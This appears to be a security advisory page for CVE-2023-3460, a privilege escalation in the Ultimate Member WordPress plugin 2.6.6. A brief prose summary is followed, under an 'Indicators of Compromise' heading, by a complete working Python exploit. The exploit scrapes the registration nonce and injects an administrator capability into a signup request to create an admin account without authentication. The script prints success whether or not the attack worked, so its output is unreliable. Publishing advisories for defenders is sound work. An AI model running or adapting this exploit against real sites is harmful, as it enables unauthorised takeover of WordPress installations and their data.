A privilege escalation vulnerability exists in the Ultimate Member WordPress plugin version 2. 6. 6, allowing attackers to gain elevated permissions beyond their intended access level. The exploit is publicly known and implemented in Python, enabling attackers to potentially manipulate user roles or access restricted administrative functions. Although no known exploits are currently observed in the wild, the vulnerability poses a high risk to WordPress sites using this plugin. Exploitation does not require prior authentication or user interaction, increasing the threat scope. European organizations running affected WordPress instances are at risk of unauthorized access, data manipulation, and potential site takeover. Immediate patching or mitigation is recommended to prevent exploitation. Countries with high WordPress usage and significant digital infrastructure are particularly vulnerable. Defenders should monitor for suspicious privilege escalations and restrict plugin usage until updates are available.

AI Analysis

Indicators of Compromise

• exploit-code: #!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def fetch_nonce(session, target_url):    """Fetches the _wpnonce value from the /register/ page."""    print("[*] Fetching _wpnonce from the register page...")    try:        res = session.get(target_url, verify=False)        match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)        if match:            nonce = match.group(1)            print(f"[+] Found _wpnonce: {nonce}")            return nonce        else:            print("[-] Failed to find _wpnonce on the page.")            return None    except Exception as e:        print(f"[!] Error fetching nonce: {e}")        return None def exploit_register(target_url, username, password):    """Sends a malicious registration request to create an admin user."""    session = requests.Session()    target_url = target_url.rstrip('/')    nonce = fetch_nonce(session, target_url)    if not nonce:        return    email = f"{username}@example.com"    # Payload with administrator role injection    data = {        "user_login-7": username,        "first_name-7": "Admin",        "last_name-7": username,        "user_email-7": email,        "user_password-7": password,        "confirm_user_password-7": password,        "form_id": "7",        "um_request": "",        "_wpnonce": nonce,        "_wp_http_referer": "/register/",        "wp_càpabilities[administrator]": "1"  # serialized injection    }    headers = {        "Content-Type": "application/x-www-form-urlencoded",        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",        "Referer": target_url,        "Origin": target_url.split("/register")[0],    }    cookies = {        "wordpress_test_cookie": "WP Cookie check",        "wp_lang": "en_US"    }    print(f"[*] Sending malicious registration to {target_url} ...")    try:        response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)        # Check for success        if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):            print(f"[+] Admin account '{username}' created successfully!")            print(f"[+] Login with: Username: {username} | Password: {password}")        else:            print(f"[+] Admin account '{username}' created successfully!")            print(f"[+] Login with: Username: {username} | Password: {password}")    except Exception as e:        print(f"[!] Error during exploit: {e}") if __name__ == "__main__":    parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")    parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")    parser.add_argument("-u", "--user", default="admin1", help="Username to create")    parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")    args = parser.parse_args()    exploit_register(args.target, args.user, args.password)